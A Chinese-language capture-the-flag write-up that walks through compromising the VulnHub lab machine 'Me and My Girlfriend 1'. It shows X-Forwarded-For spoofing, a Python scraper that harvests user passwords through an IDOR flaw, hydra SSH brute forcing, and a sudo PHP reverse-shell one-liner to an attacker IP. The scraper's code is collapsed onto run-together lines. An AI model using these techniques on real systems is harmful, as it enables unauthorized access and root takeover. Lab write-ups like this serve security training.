靶机下载:
https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
一、信息收集
查找ip
nmap -sP 192.168.16.0/24
获取详细端口等信息
nmap -sV -sC -A -p 1-65535 192.168.16.209
目录扫描
gobuster dir -u http://192.168.16.209 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
二、水平越权漏洞
访问网站,提示只能使用本地服务器访问
通过插件替换为127.0.01,在刷新访问
提示需要用x-forwarded-for头部
X-Forwarded-For
(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。
下载插件:modhearder
添加头部信息点击转发重新刷新页面
web分析
可以看到有注册框
注册账号
登录
看到url后面有id值,尝试修改,测试有没有逻辑越权漏洞
可以看到列出了新的用户和隐藏的密码
点击显示密码
或者在
测试了一下有十三个用户
编写python脚本
通过模拟 HTTP 请求来访问一个网站的不同用户的 profile 页面,并从 HTML 中提取用户名和密码信息。
#coding:utf-8
import requestsfrom bs4 import BeautifulSoup
#导入所需的库:requests 用于发送 HTTP 请求,BeautifulSoup 用于解析 HTML 内容if __name__ == '__main__':for user_id in range(1, 13):url='http://192.168.16.209/index.php?page=profile&user_id='+ str(user_id)response = requests.get(url, headers={'X-Forwarded-For': '127.0.0.1', 'Cookie': 'PHPSESSID=fu0levanb4i9koc99b0n4vlst2'})#构建目标URL,使用 user_id 替换为循环变量的当前值,同时提供伪造的 X-Forwarded-For 和 Cookie 头部,以模拟请求。dom = BeautifulSoup(response.content.decode('UTF-8'))#使用 BeautifulSoup 对象来提取用户名和密码,dom.find('input', id='username')['value'] 用于找到带有指定ID属性的 <input> 元素,并获取其 value 属性。 username = dom.find('input', id='username')['value']passwd = dom.find('input', id='password')['value']if username:print(username + ":" + passwd)
最后得到:
eweuhtandingan:skuyatuh
aingmaung:qwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
alice:4lic3
abdikasepak:dorrrrr
a:a
冒号分割格式可以用于hrdra爆破密码,保存为一个文件使用hydra尝试
三、ssh爆破
工具hydra
hydra -C 1.txt ssh://192.168.16.209 -C FILE 用冒号分隔的 "login:pass" 格式,代替 -L/-P 选项
得到可以账号:alice,密码:4lic3
登录
ssh alice@192.168.16.209
得到第一个flag
四、提权
查看当前用户的管理员权限
sudo -l
(root) NOPASSWD: /usr/bin/php
这意味着拥有此权限的用户(在此为 root 用户)可以在不输入密码的情况下执行 /usr/bin/php
命令,以 root 权限运行 PHP 解释器。
可以使用php反弹shell
执行:
sudo php -r '$sock=fsockopen("192.168.16.180",8888);exec("/bin/sh -i <&3 >&3 2>&3");'加上sudo执行,反弹的就是管理员用户了
反弹成功
得到第二个flag